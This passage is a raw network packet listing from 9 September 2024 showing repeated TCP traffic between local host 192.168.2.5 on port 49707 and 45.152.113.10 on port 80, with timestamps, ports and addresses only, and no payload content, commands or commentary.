Sep 9, 2024 18:45:06.260164022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260179043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260195017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260207891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260215044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260231972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260247946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260257006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260266066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260287046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260305882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260390997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260405064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260418892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260435104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260446072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260452986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260468960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260471106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260483980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260487080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260512114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260524988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260654926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260670900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260687113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260704041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260713100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260718107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260737896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260737896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260751009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260756016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260778904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260792017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260807037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260823011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260864019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260921955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260936975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260951996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260965109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.260967970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260986090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.260992050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261002064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261014938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261018038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261034966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261042118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261051893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261066914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261091948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261250019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261262894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261277914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261292934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261296988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261310101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261326075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261327982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261343002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261353016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261362076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261378050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261380911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261394024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261398077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261425018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261428118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261445999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261450052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261464119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261467934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261481047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261499882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261513948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261531115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261545897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261552095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261563063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261568069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261579990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261583090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261596918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261620045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261734009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261749029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261763096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261778116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261785984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261795044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261810064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261811972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261826992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261919022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261934042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261948109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261949062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261956930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261966944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.261980057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.261984110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.262001991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.262007952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.262020111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.262023926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.262037992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.262048960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.262054920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.262061119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.262083054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.262093067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350126028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350157976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350172043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350193977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350222111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350280046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350295067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350308895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350322962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350351095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350416899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350451946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350462914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350469112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350490093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350495100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350508928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350522041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350538015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350538015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350554943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350572109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.350581884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.350609064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.351666927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351681948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351696968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351718903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.351744890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.351792097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351808071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351823092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351839066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351840019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.351871014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.351891041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.351910114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351926088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.351968050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352046967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352061987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352076054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352092028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352106094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352118015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352125883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352139950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352143049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352161884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352165937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352188110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352202892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352253914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352273941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352296114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352297068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352308035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352312088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352332115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352344990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352353096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352369070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352385998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352391958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352402925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352405071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352418900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352443933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352554083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352570057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352583885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352600098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352611065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352615118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352631092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352638006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352648020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352655888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352665901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352675915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352682114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352684021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352698088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352703094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352718115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352719069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352736950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352755070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352861881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352876902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352891922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352909088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352910042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352926970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352933884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352945089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352966070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.352971077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.352982998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353003025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353015900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353035927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353050947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353065014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353075027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353080034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353085995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353097916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353102922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353116035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353132963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353141069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353141069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353152990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353164911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353173971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353188992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353231907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353394032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353409052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353424072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353437901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353440046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353447914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353458881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353466034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353477001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353482008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353498936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353508949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353514910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353523016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353532076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353538036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353549004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353550911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353571892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353595018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353636026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353686094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353780031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353794098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353809118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353821039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353826046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353832006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353842974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353849888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353861094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353863001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353878021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353882074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353894949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353899002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353913069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353914022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353929996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353940010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353946924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.353955030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353971004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.353985071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354057074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354072094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354090929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354095936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354115009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354115963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354125977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354140043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354154110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354159117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354168892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354181051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354187012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354197025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354212999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354231119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354331970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354348898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354363918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354378939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354386091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354394913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354408979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354412079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354429960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354434013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354446888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354456902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354465008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354474068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354489088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354501009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354559898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354577065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354592085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354603052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354614019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354634047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354690075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354706049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354722023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354737997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354746103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354753971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.354768991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.354792118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443017006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443059921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443078041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443094969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443111897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443120003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443130016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443149090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443176031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443213940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443213940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443213940 CEST	49707	80	192.168.2.5	45.152.113.10
